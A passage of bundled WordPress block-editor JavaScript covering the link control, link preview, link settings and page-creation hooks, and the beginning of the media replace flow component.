19516 const { getSettings } = select(store);
19517 return {
19518 fetchRichUrlData: getSettings().__experimentalFetchRichUrlData
19519 };
19520 }, []);
19521 (0,external_wp_element_namespaceObject.useEffect)(() => {
19522 if (url?.length && fetchRichUrlData && typeof AbortController !== "undefined") {
19523 dispatch({
19524 type: "LOADING"
19525 });
19526 const controller = new window.AbortController();
19527 const signal = controller.signal;
19528 fetchRichUrlData(url, {
19529 signal
19530 }).then((urlData) => {
19531 dispatch({
19532 type: "RESOLVED",
19533 richData: urlData
19534 });
19535 }).catch(() => {
19536 if (!signal.aborted) {
19537 dispatch({
19538 type: "ERROR"
19539 });
19540 }
19541 });
19542 return () => {
19543 controller.abort();
19544 };
19545 }
19546 }, [url]);
19547 return state;
19548}
19549var use_rich_url_data_default = useRemoteUrlData;
19550
19551
19552;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/link-preview.js
19553
19554
19555
19556
19557
19558
19559
19560
19561
19562
19563
19564
19565
19566function filterTitleForDisplay(title) {
19567 return title.replace(/^[a-z\-.\+]+[0-9]*:(\/\/)?/i, "").replace(/^www\./i, "");
19568}
19569function LinkPreview({
19570 value,
19571 onEditClick,
19572 hasRichPreviews = false,
19573 hasUnlinkControl = false,
19574 onRemove
19575}) {
19576 const showIconLabels = (0,external_wp_data_namespaceObject.useSelect)(
19577 (select) => select(external_wp_preferences_namespaceObject.store).get("core", "showIconLabels"),
19578 []
19579 );
19580 const showRichPreviews = hasRichPreviews ? value?.url : null;
19581 const { richData, isFetching } = use_rich_url_data_default(showRichPreviews);
19582 const hasRichData = richData && Object.keys(richData).length;
19583 const displayURL = value && (0,external_wp_url_namespaceObject.filterURLForDisplay)((0,external_wp_url_namespaceObject.safeDecodeURI)(value.url), 24) || "";
19584 const isEmptyURL = !value?.url?.length;
19585 const displayTitle = !isEmptyURL && (0,external_wp_dom_namespaceObject.__unstableStripHTML)(richData?.title || value?.title || displayURL);
19586 const isUrlRedundant = !value?.url || filterTitleForDisplay(displayTitle) === displayURL;
19587 let icon;
19588 if (richData?.icon) {
19589 icon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("img", { src: richData?.icon, alt: "" });
19590 } else if (isEmptyURL) {
19591 icon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: info_default, size: 32 });
19592 } else {
19593 icon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: globe_default });
19594 }
19595 const { createNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
19596 const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(value.url, () => {
19597 createNotice("info", (0,external_wp_i18n_namespaceObject.__)("Link copied to clipboard."), {
19598 isDismissible: true,
19599 type: "snackbar"
19600 });
19601 });
19602 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19603 "div",
19604 {
19605 role: "group",
19606 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Manage link"),
19607 className: dist_clsx("block-editor-link-control__search-item", {
19608 "is-current": true,
19609 "is-rich": hasRichData,
19610 "is-fetching": !!isFetching,
19611 "is-preview": true,
19612 "is-error": isEmptyURL,
19613 "is-url-title": displayTitle === displayURL
19614 }),
19615 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-link-control__search-item-top", children: [
19616 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
19617 "span",
19618 {
19619 className: "block-editor-link-control__search-item-header",
19620 role: "figure",
19621 "aria-label": (
19622 /* translators: Accessibility text for the link preview when editing a link. */
19623 (0,external_wp_i18n_namespaceObject.__)("Link information")
19624 ),
19625 children: [
19626 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19627 "span",
19628 {
19629 className: dist_clsx(
19630 "block-editor-link-control__search-item-icon",
19631 {
19632 "is-image": richData?.icon
19633 }
19634 ),
19635 children: icon
19636 }
19637 ),
19638 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-link-control__search-item-details", children: !isEmptyURL ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19639 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19640 external_wp_components_namespaceObject.ExternalLink,
19641 {
19642 className: "block-editor-link-control__search-item-title",
19643 href: value.url,
19644 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTruncate, { numberOfLines: 1, children: displayTitle })
19645 }
19646 ),
19647 !isUrlRedundant && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-link-control__search-item-info", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalTruncate, { numberOfLines: 1, children: displayURL }) })
19648 ] }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "block-editor-link-control__search-item-error-notice", children: (0,external_wp_i18n_namespaceObject.__)("Link is empty") }) })
19649 ]
19650 }
19651 ),
19652 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19653 external_wp_components_namespaceObject.Button,
19654 {
19655 icon: pencil_default,
19656 label: (0,external_wp_i18n_namespaceObject.__)("Edit link"),
19657 onClick: onEditClick,
19658 size: "compact",
19659 showTooltip: !showIconLabels
19660 }
19661 ),
19662 hasUnlinkControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19663 external_wp_components_namespaceObject.Button,
19664 {
19665 icon: link_off_default,
19666 label: (0,external_wp_i18n_namespaceObject.__)("Remove link"),
19667 onClick: onRemove,
19668 size: "compact",
19669 showTooltip: !showIconLabels
19670 }
19671 ),
19672 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19673 external_wp_components_namespaceObject.Button,
19674 {
19675 icon: copy_small_default,
19676 label: (0,external_wp_i18n_namespaceObject.__)("Copy link"),
19677 ref,
19678 accessibleWhenDisabled: true,
19679 disabled: isEmptyURL,
19680 size: "compact",
19681 showTooltip: !showIconLabels
19682 }
19683 ),
19684 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ViewerSlot, { fillProps: value })
19685 ] })
19686 }
19687 );
19688}
19689
19690
19691;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/settings.js
19692
19693
19694
19695const settings_noop = () => {
19696};
19697const LinkControlSettings = ({ value, onChange = settings_noop, settings }) => {
19698 if (!settings || !settings.length) {
19699 return null;
19700 }
19701 const handleSettingChange = (setting) => (newValue) => {
19702 onChange({
19703 ...value,
19704 [setting.id]: newValue
19705 });
19706 };
19707 const theSettings = settings.map((setting) => {
19708 if ("render" in setting) {
19709 if (typeof setting.render === "function") {
19710 const renderedContent = setting.render(
19711 setting,
19712 value,
19713 onChange
19714 );
19715 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19716 "div",
19717 {
19718 className: "block-editor-link-control__setting",
19719 children: renderedContent
19720 },
19721 setting.id
19722 );
19723 }
19724 return null;
19725 }
19726 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19727 external_wp_components_namespaceObject.CheckboxControl,
19728 {
19729 __nextHasNoMarginBottom: true,
19730 className: "block-editor-link-control__setting",
19731 label: setting.title,
19732 onChange: handleSettingChange(setting),
19733 checked: value ? !!value[setting.id] : false,
19734 help: setting?.help
19735 },
19736 setting.id
19737 );
19738 }).filter(Boolean);
19739 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", { className: "block-editor-link-control__settings", children: [
19740 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { as: "legend", children: (0,external_wp_i18n_namespaceObject.__)("Currently selected link settings") }),
19741 theSettings
19742 ] });
19743};
19744var settings_default = LinkControlSettings;
19745
19746
19747;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/use-create-page.js
19748
19749
19750function useCreatePage(handleCreatePage) {
19751 const cancelableCreateSuggestion = (0,external_wp_element_namespaceObject.useRef)();
19752 const [isCreatingPage, setIsCreatingPage] = (0,external_wp_element_namespaceObject.useState)(false);
19753 const [errorMessage, setErrorMessage] = (0,external_wp_element_namespaceObject.useState)(null);
19754 const createPage = async function(suggestionTitle) {
19755 setIsCreatingPage(true);
19756 setErrorMessage(null);
19757 try {
19758 cancelableCreateSuggestion.current = makeCancelable(
19759 // Using Promise.resolve to allow createSuggestion to return a
19760 // non-Promise based value.
19761 Promise.resolve(handleCreatePage(suggestionTitle))
19762 );
19763 return await cancelableCreateSuggestion.current.promise;
19764 } catch (error) {
19765 if (error && error.isCanceled) {
19766 return;
19767 }
19768 setErrorMessage(
19769 error.message || (0,external_wp_i18n_namespaceObject.__)(
19770 "An unknown error occurred during creation. Please try again."
19771 )
19772 );
19773 throw error;
19774 } finally {
19775 setIsCreatingPage(false);
19776 }
19777 };
19778 (0,external_wp_element_namespaceObject.useEffect)(() => {
19779 return () => {
19780 if (cancelableCreateSuggestion.current) {
19781 cancelableCreateSuggestion.current.cancel();
19782 }
19783 };
19784 }, []);
19785 return {
19786 createPage,
19787 isCreatingPage,
19788 errorMessage
19789 };
19790}
19791const makeCancelable = (promise) => {
19792 let hasCanceled_ = false;
19793 const wrappedPromise = new Promise((resolve, reject) => {
19794 promise.then(
19795 (val) => hasCanceled_ ? reject({ isCanceled: true }) : resolve(val),
19796 (error) => hasCanceled_ ? reject({ isCanceled: true }) : reject(error)
19797 );
19798 });
19799 return {
19800 promise: wrappedPromise,
19801 cancel() {
19802 hasCanceled_ = true;
19803 }
19804 };
19805};
19806
19807
19808// EXTERNAL MODULE: ./node_modules/fast-deep-equal/index.js
19809var fast_deep_equal = __webpack_require__(5215);
19810var fast_deep_equal_default = /*#__PURE__*/__webpack_require__.n(fast_deep_equal);
19811;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/use-internal-value.js
19812
19813
19814function useInternalValue(value) {
19815 const [internalValue, setInternalValue] = (0,external_wp_element_namespaceObject.useState)(value || {});
19816 const [previousValue, setPreviousValue] = (0,external_wp_element_namespaceObject.useState)(value);
19817 if (!fast_deep_equal_default()(value, previousValue)) {
19818 setPreviousValue(value);
19819 setInternalValue(value);
19820 }
19821 const setInternalURLInputValue = (nextValue) => {
19822 setInternalValue({
19823 ...internalValue,
19824 url: nextValue
19825 });
19826 };
19827 const setInternalTextInputValue = (nextValue) => {
19828 setInternalValue({
19829 ...internalValue,
19830 title: nextValue
19831 });
19832 };
19833 const createSetInternalSettingValueHandler = (settingsKeys) => (nextValue) => {
19834 const settingsUpdates = Object.keys(nextValue).reduce(
19835 (acc, key) => {
19836 if (settingsKeys.includes(key)) {
19837 acc[key] = nextValue[key];
19838 }
19839 return acc;
19840 },
19841 {}
19842 );
19843 setInternalValue({
19844 ...internalValue,
19845 ...settingsUpdates
19846 });
19847 };
19848 return [
19849 internalValue,
19850 setInternalValue,
19851 setInternalURLInputValue,
19852 setInternalTextInputValue,
19853 createSetInternalSettingValueHandler
19854 ];
19855}
19856
19857
19858;// ./node_modules/@wordpress/block-editor/build-module/components/link-control/index.js
19859
19860
19861
19862
19863
19864
19865
19866
19867
19868
19869
19870
19871
19872
19873
19874
19875
19876
19877
19878
19879
19880const link_control_noop = () => {
19881};
19882const PREFERENCE_SCOPE = "core/block-editor";
19883const PREFERENCE_KEY = "linkControlSettingsDrawer";
19884function LinkControl({
19885 searchInputPlaceholder,
19886 value,
19887 settings = DEFAULT_LINK_SETTINGS,
19888 onChange = link_control_noop,
19889 onRemove,
19890 onCancel,
19891 noDirectEntry = false,
19892 showSuggestions = true,
19893 showInitialSuggestions,
19894 forceIsEditingLink,
19895 createSuggestion,
19896 withCreateSuggestion,
19897 inputValue: propInputValue = "",
19898 suggestionsQuery = {},
19899 noURLSuggestion = false,
19900 createSuggestionButtonText,
19901 hasRichPreviews = false,
19902 hasTextControl = false,
19903 renderControlBottom = null,
19904 handleEntities = false
19905}) {
19906 if (withCreateSuggestion === void 0 && createSuggestion) {
19907 withCreateSuggestion = true;
19908 }
19909 const [settingsOpen, setSettingsOpen] = (0,external_wp_element_namespaceObject.useState)(false);
19910 const { advancedSettingsPreference } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
19911 const prefsStore = select(external_wp_preferences_namespaceObject.store);
19912 return {
19913 advancedSettingsPreference: prefsStore.get(PREFERENCE_SCOPE, PREFERENCE_KEY) ?? false
19914 };
19915 }, []);
19916 const { set: setPreference } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_preferences_namespaceObject.store);
19917 const setSettingsOpenWithPreference = (prefVal) => {
19918 if (setPreference) {
19919 setPreference(PREFERENCE_SCOPE, PREFERENCE_KEY, prefVal);
19920 }
19921 setSettingsOpen(prefVal);
19922 };
19923 const isSettingsOpen = advancedSettingsPreference || settingsOpen;
19924 const isMountingRef = (0,external_wp_element_namespaceObject.useRef)(true);
19925 const wrapperNode = (0,external_wp_element_namespaceObject.useRef)();
19926 const textInputRef = (0,external_wp_element_namespaceObject.useRef)();
19927 const searchInputRef = (0,external_wp_element_namespaceObject.useRef)();
19928 const isEndingEditWithFocusRef = (0,external_wp_element_namespaceObject.useRef)(false);
19929 const settingsKeys = settings.map(({ id }) => id);
19930 const [
19931 internalControlValue,
19932 setInternalControlValue,
19933 setInternalURLInputValue,
19934 setInternalTextInputValue,
19935 createSetInternalSettingValueHandler
19936 ] = useInternalValue(value);
19937 const isEntity = handleEntities && !!internalControlValue?.id;
19938 const baseId = (0,external_wp_compose_namespaceObject.useInstanceId)(LinkControl, "link-control");
19939 const helpTextId = isEntity ? `${baseId}__help` : null;
19940 const valueHasChanges = value && !(0,external_wp_isShallowEqual_namespaceObject.isShallowEqualObjects)(internalControlValue, value);
19941 const [isEditingLink, setIsEditingLink] = (0,external_wp_element_namespaceObject.useState)(
19942 forceIsEditingLink !== void 0 ? forceIsEditingLink : !value || !value.url
19943 );
19944 const { createPage, isCreatingPage, errorMessage } = useCreatePage(createSuggestion);
19945 (0,external_wp_element_namespaceObject.useEffect)(() => {
19946 if (forceIsEditingLink === void 0) {
19947 return;
19948 }
19949 setIsEditingLink(forceIsEditingLink);
19950 }, [forceIsEditingLink]);
19951 (0,external_wp_element_namespaceObject.useEffect)(() => {
19952 if (isMountingRef.current) {
19953 return;
19954 }
19955 const nextFocusTarget = external_wp_dom_namespaceObject.focus.focusable.find(wrapperNode.current)[0] || wrapperNode.current;
19956 nextFocusTarget.focus();
19957 isEndingEditWithFocusRef.current = false;
19958 }, [isEditingLink, isCreatingPage]);
19959 (0,external_wp_element_namespaceObject.useEffect)(() => {
19960 isMountingRef.current = false;
19961 return () => {
19962 isMountingRef.current = true;
19963 };
19964 }, []);
19965 const hasLinkValue = value?.url?.trim()?.length > 0;
19966 const stopEditing = () => {
19967 isEndingEditWithFocusRef.current = !!wrapperNode.current?.contains(
19968 wrapperNode.current.ownerDocument.activeElement
19969 );
19970 setIsEditingLink(false);
19971 };
19972 const handleSelectSuggestion = (updatedValue) => {
19973 const nonSettingsChanges = Object.keys(updatedValue).reduce(
19974 (acc, key) => {
19975 if (!settingsKeys.includes(key)) {
19976 acc[key] = updatedValue[key];
19977 }
19978 return acc;
19979 },
19980 {}
19981 );
19982 onChange({
19983 ...internalControlValue,
19984 ...nonSettingsChanges,
19985 // As title is not a setting, it must be manually applied
19986 // in such a way as to preserve the users changes over
19987 // any "title" value provided by the "suggestion".
19988 title: internalControlValue?.title || updatedValue?.title
19989 });
19990 stopEditing();
19991 };
19992 const handleSubmit = () => {
19993 if (valueHasChanges) {
19994 onChange({
19995 ...value,
19996 ...internalControlValue,
19997 url: currentUrlInputValue
19998 });
19999 }
20000 stopEditing();
20001 };
20002 const handleSubmitWithEnter = (event) => {
20003 const { keyCode } = event;
20004 if (keyCode === external_wp_keycodes_namespaceObject.ENTER && !currentInputIsEmpty) {
20005 event.preventDefault();
20006 handleSubmit();
20007 }
20008 };
20009 const resetInternalValues = () => {
20010 setInternalControlValue(value);
20011 };
20012 const handleCancel = (event) => {
20013 event.preventDefault();
20014 event.stopPropagation();
20015 resetInternalValues();
20016 if (hasLinkValue) {
20017 stopEditing();
20018 } else {
20019 onRemove?.();
20020 }
20021 onCancel?.();
20022 };
20023 const [shouldFocusSearchInput, setShouldFocusSearchInput] = (0,external_wp_element_namespaceObject.useState)(false);
20024 const handleUnlink = () => {
20025 const { id, kind, type, ...restValue } = internalControlValue;
20026 setInternalControlValue({
20027 ...restValue,
20028 id: void 0,
20029 kind: void 0,
20030 type: void 0,
20031 url: void 0
20032 });
20033 setShouldFocusSearchInput(true);
20034 };
20035 (0,external_wp_element_namespaceObject.useEffect)(() => {
20036 if (shouldFocusSearchInput) {
20037 searchInputRef.current?.focus();
20038 setShouldFocusSearchInput(false);
20039 }
20040 }, [shouldFocusSearchInput]);
20041 const currentUrlInputValue = propInputValue || internalControlValue?.url || "";
20042 const currentInputIsEmpty = !currentUrlInputValue?.trim()?.length;
20043 const shownUnlinkControl = onRemove && value && !isEditingLink && !isCreatingPage;
20044 const showActions = isEditingLink && hasLinkValue;
20045 const showTextControl = hasLinkValue && hasTextControl;
20046 const isEditing = (isEditingLink || !value) && !isCreatingPage;
20047 const isDisabled = !valueHasChanges || currentInputIsEmpty;
20048 const showSettings = !!settings?.length && isEditingLink && hasLinkValue;
20049 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20050 "div",
20051 {
20052 tabIndex: -1,
20053 ref: wrapperNode,
20054 className: "block-editor-link-control",
20055 children: [
20056 isCreatingPage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-link-control__loading", children: [
20057 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}),
20058 " ",
20059 (0,external_wp_i18n_namespaceObject.__)("Creating"),
20060 "\u2026"
20061 ] }),
20062 isEditing && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20063 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20064 "div",
20065 {
20066 className: dist_clsx({
20067 "block-editor-link-control__search-input-wrapper": true,
20068 "has-text-control": showTextControl,
20069 "has-actions": showActions
20070 }),
20071 children: [
20072 showTextControl && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20073 external_wp_components_namespaceObject.TextControl,
20074 {
20075 __nextHasNoMarginBottom: true,
20076 ref: textInputRef,
20077 className: "block-editor-link-control__field block-editor-link-control__text-content",
20078 label: (0,external_wp_i18n_namespaceObject.__)("Text"),
20079 value: internalControlValue?.title,
20080 onChange: setInternalTextInputValue,
20081 onKeyDown: handleSubmitWithEnter,
20082 __next40pxDefaultSize: true
20083 }
20084 ),
20085 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20086 search_input_default,
20087 {
20088 ref: searchInputRef,
20089 currentLink: value,
20090 className: "block-editor-link-control__field block-editor-link-control__search-input",
20091 placeholder: searchInputPlaceholder,
20092 value: currentUrlInputValue,
20093 withCreateSuggestion,
20094 onCreateSuggestion: createPage,
20095 onChange: setInternalURLInputValue,
20096 onSelect: handleSelectSuggestion,
20097 showInitialSuggestions,
20098 allowDirectEntry: !noDirectEntry,
20099 showSuggestions,
20100 suggestionsQuery,
20101 withURLSuggestion: !noURLSuggestion,
20102 createSuggestionButtonText,
20103 hideLabelFromVision: !showTextControl,
20104 isEntity,
20105 suffix: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20106 SearchSuffixControl,
20107 {
20108 isEntity,
20109 showActions,
20110 isDisabled,
20111 onUnlink: handleUnlink,
20112 onSubmit: handleSubmit,
20113 helpTextId
20114 }
20115 )
20116 }
20117 ),
20118 isEntity && helpTextId && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20119 "p",
20120 {
20121 id: helpTextId,
20122 className: "block-editor-link-control__help",
20123 children: (0,external_wp_i18n_namespaceObject.sprintf)(
20124 /* translators: %s: entity type (e.g., page, post) */
20125 (0,external_wp_i18n_namespaceObject.__)("Synced with the selected %s."),
20126 internalControlValue?.type || "item"
20127 )
20128 }
20129 )
20130 ]
20131 }
20132 ),
20133 errorMessage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20134 external_wp_components_namespaceObject.Notice,
20135 {
20136 className: "block-editor-link-control__search-error",
20137 status: "error",
20138 isDismissible: false,
20139 children: errorMessage
20140 }
20141 )
20142 ] }),
20143 value && !isEditingLink && !isCreatingPage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20144 LinkPreview,
20145 {
20146 value,
20147 onEditClick: () => setIsEditingLink(true),
20148 hasRichPreviews,
20149 hasUnlinkControl: shownUnlinkControl,
20150 onRemove: () => {
20151 onRemove();
20152 setIsEditingLink(true);
20153 }
20154 },
20155 value?.url
20156 ),
20157 showSettings && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-link-control__tools", children: !currentInputIsEmpty && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20158 settings_drawer_default,
20159 {
20160 settingsOpen: isSettingsOpen,
20161 setSettingsOpen: setSettingsOpenWithPreference,
20162 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20163 settings_default,
20164 {
20165 value: internalControlValue,
20166 settings,
20167 onChange: createSetInternalSettingValueHandler(
20168 settingsKeys
20169 )
20170 }
20171 )
20172 }
20173 ) }),
20174 showActions && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
20175 external_wp_components_namespaceObject.__experimentalHStack,
20176 {
20177 justify: "right",
20178 className: "block-editor-link-control__search-actions",
20179 children: [
20180 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20181 external_wp_components_namespaceObject.Button,
20182 {
20183 __next40pxDefaultSize: true,
20184 variant: "tertiary",
20185 onClick: handleCancel,
20186 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
20187 }
20188 ),
20189 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20190 external_wp_components_namespaceObject.Button,
20191 {
20192 __next40pxDefaultSize: true,
20193 variant: "primary",
20194 onClick: isDisabled ? link_control_noop : handleSubmit,
20195 className: "block-editor-link-control__search-submit",
20196 "aria-disabled": isDisabled,
20197 children: (0,external_wp_i18n_namespaceObject.__)("Apply")
20198 }
20199 )
20200 ]
20201 }
20202 ),
20203 !isCreatingPage && renderControlBottom && renderControlBottom()
20204 ]
20205 }
20206 );
20207}
20208function SearchSuffixControl({
20209 isEntity,
20210 showActions,
20211 isDisabled,
20212 onUnlink,
20213 onSubmit,
20214 helpTextId
20215}) {
20216 if (isEntity) {
20217 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20218 external_wp_components_namespaceObject.Button,
20219 {
20220 icon: link_off_default,
20221 onClick: onUnlink,
20222 "aria-describedby": helpTextId,
20223 showTooltip: true,
20224 label: (0,external_wp_i18n_namespaceObject.__)("Unsync and edit"),
20225 __next40pxDefaultSize: true
20226 }
20227 );
20228 }
20229 if (showActions) {
20230 return void 0;
20231 }
20232 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalInputControlSuffixWrapper, { variant: "control", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20233 external_wp_components_namespaceObject.Button,
20234 {
20235 onClick: isDisabled ? link_control_noop : onSubmit,
20236 label: (0,external_wp_i18n_namespaceObject.__)("Submit"),
20237 icon: keyboard_return_default,
20238 className: "block-editor-link-control__search-submit",
20239 "aria-disabled": isDisabled,
20240 size: "small"
20241 }
20242 ) });
20243}
20244LinkControl.ViewerFill = ViewerFill;
20245LinkControl.DEFAULT_LINK_SETTINGS = DEFAULT_LINK_SETTINGS;
20246const DeprecatedExperimentalLinkControl = (props) => {
20247 external_wp_deprecated_default()("wp.blockEditor.__experimentalLinkControl", {
20248 since: "6.8",
20249 alternative: "wp.blockEditor.LinkControl"
20250 });
20251 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(LinkControl, { ...props });
20252};
20253DeprecatedExperimentalLinkControl.ViewerFill = LinkControl.ViewerFill;
20254DeprecatedExperimentalLinkControl.DEFAULT_LINK_SETTINGS = LinkControl.DEFAULT_LINK_SETTINGS;
20255var link_control_default = LinkControl;
20256
20257
20258;// ./node_modules/@wordpress/block-editor/build-module/components/media-replace-flow/index.js
20259
20260
20261
20262
20263
20264
20265
20266
20267
20268
20269
20270
20271
20272
20273const media_replace_flow_noop = () => {
20274};
20275let uniqueId = 0;
20276const MediaReplaceFlow = ({
20277 mediaURL,
20278 mediaId,
20279 mediaIds,
20280 allowedTypes,
20281 accept,
20282 onError,
20283 onSelect,
20284 onSelectURL,
20285 onReset,
20286 onToggleFeaturedImage,
20287 useFeaturedImage,
20288 onFilesUpload = media_replace_flow_noop,
20289 name = (0,external_wp_i18n_namespaceObject.__)("Replace"),
20290 createNotice,
20291 removeNotice,
20292 children,
20293 multiple = false,
20294 addToGallery,
20295 handleUpload = true,
20296 popoverProps,
20297 renderToggle
20298}) => {
20299 const { getSettings } = (0,external_wp_data_namespaceObject.useSelect)(store);
20300 const errorNoticeID = `block-editor/media-replace-flow/error-notice/${++uniqueId}`;
20301 const onUploadError = (message) => {
20302 const safeMessage = (0,external_wp_dom_namespaceObject.__unstableStripHTML)(message);
20303 if (onError) {
20304 onError(safeMessage);
20305 return;
20306 }
20307 setTimeout(() => {
20308 createNotice("error", safeMessage, {
20309 speak: true,
20310 id: errorNoticeID,
20311 isDismissible: true
20312 });
20313 }, 1e3);
20314 };
20315 const selectMedia = (media, closeMenu) => {
20316 if (useFeaturedImage && onToggleFeaturedImage) {
20317 onToggleFeaturedImage();
20318 }
20319 closeMenu();
20320 onSelect(media);
20321 (0,external_wp_a11y_namespaceObject.speak)((0,external_wp_i18n_namespaceObject.__)("The media file has been replaced"));
20322 removeNotice(errorNoticeID);
20323 };
20324 const uploadFiles = (event, closeMenu) => {
20325 const files = event.target.files;
20326 if (!handleUpload) {
20327 closeMenu();
20328 return onSelect(files);
20329 }
20330 onFilesUpload(files);
20331 getSettings().mediaUpload({
20332 allowedTypes,
20333 filesList: files,
20334 onFileChange: ([media]) => {
20335 selectMedia(media, closeMenu);
20336 },
20337 onError: onUploadError
20338 });
20339 };
20340 const openOnArrowDown = (event) => {
20341 if (event.keyCode === external_wp_keycodes_namespaceObject.DOWN) {
20342 event.preventDefault();
20343 event.target.click();
20344 }
20345 };
20346 const onlyAllowsImages = () => {
20347 if (!allowedTypes || allowedTypes.length === 0) {
20348 return false;
20349 }
20350 return allowedTypes.every(
20351 (allowedType) => allowedType === "image" || allowedType.startsWith("image/")
20352 );
20353 };
20354 const gallery = multiple && onlyAllowsImages();
20355 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20356 external_wp_components_namespaceObject.Dropdown,
20357 {
20358 popoverProps,
20359 contentClassName: "block-editor-media-replace-flow__options",
20360 renderToggle: ({ isOpen, onToggle }) => {
20361 if (renderToggle) {
20362 return renderToggle({
20363 "aria-expanded": isOpen,
20364 "aria-haspopup": "true",
20365 onClick: onToggle,
20366 onKeyDown: openOnArrowDown,
20367 children: name
20368 });
20369 }
20370 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20371 external_wp_components_namespaceObject.ToolbarButton,
20372 {
20373 "aria-expanded": isOpen,
20374 "aria-haspopup": "true",
20375 onClick: onToggle,
20376 onKeyDown: openOnArrowDown,
20377 children: name
20378 }
20379 );
20380 },
20381 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
20382 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.NavigableMenu, { className: "block-editor-media-replace-flow__media-upload-menu", children: [
20383 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(check_default, { children: [
20384 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20385 media_upload_default,
20386 {
20387 gallery,
20388 addToGallery,
20389 multiple,
20390 value: multiple ? mediaIds : mediaId,
20391 onSelect: (media) => selectMedia(media, onClose),
20392 allowedTypes,
20393 render: ({ open }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20394 external_wp_components_namespaceObject.MenuItem,
20395 {
20396 icon: media_default,
20397 onClick: open,
20398 children: (0,external_wp_i18n_namespaceObject.__)("Open Media Library")
20399 }
20400 )
20401 }
20402 ),
20403 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
20404 external_wp_components_namespaceObject.FormFileUpload,
20405 {
20406 onChange: (event) => {
20407 uploadFiles(event, onClose);
20408 },
20409 accept,
20410 multiple: !!multiple,
20411 render: ({ openFileDialog }) => {
20412 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
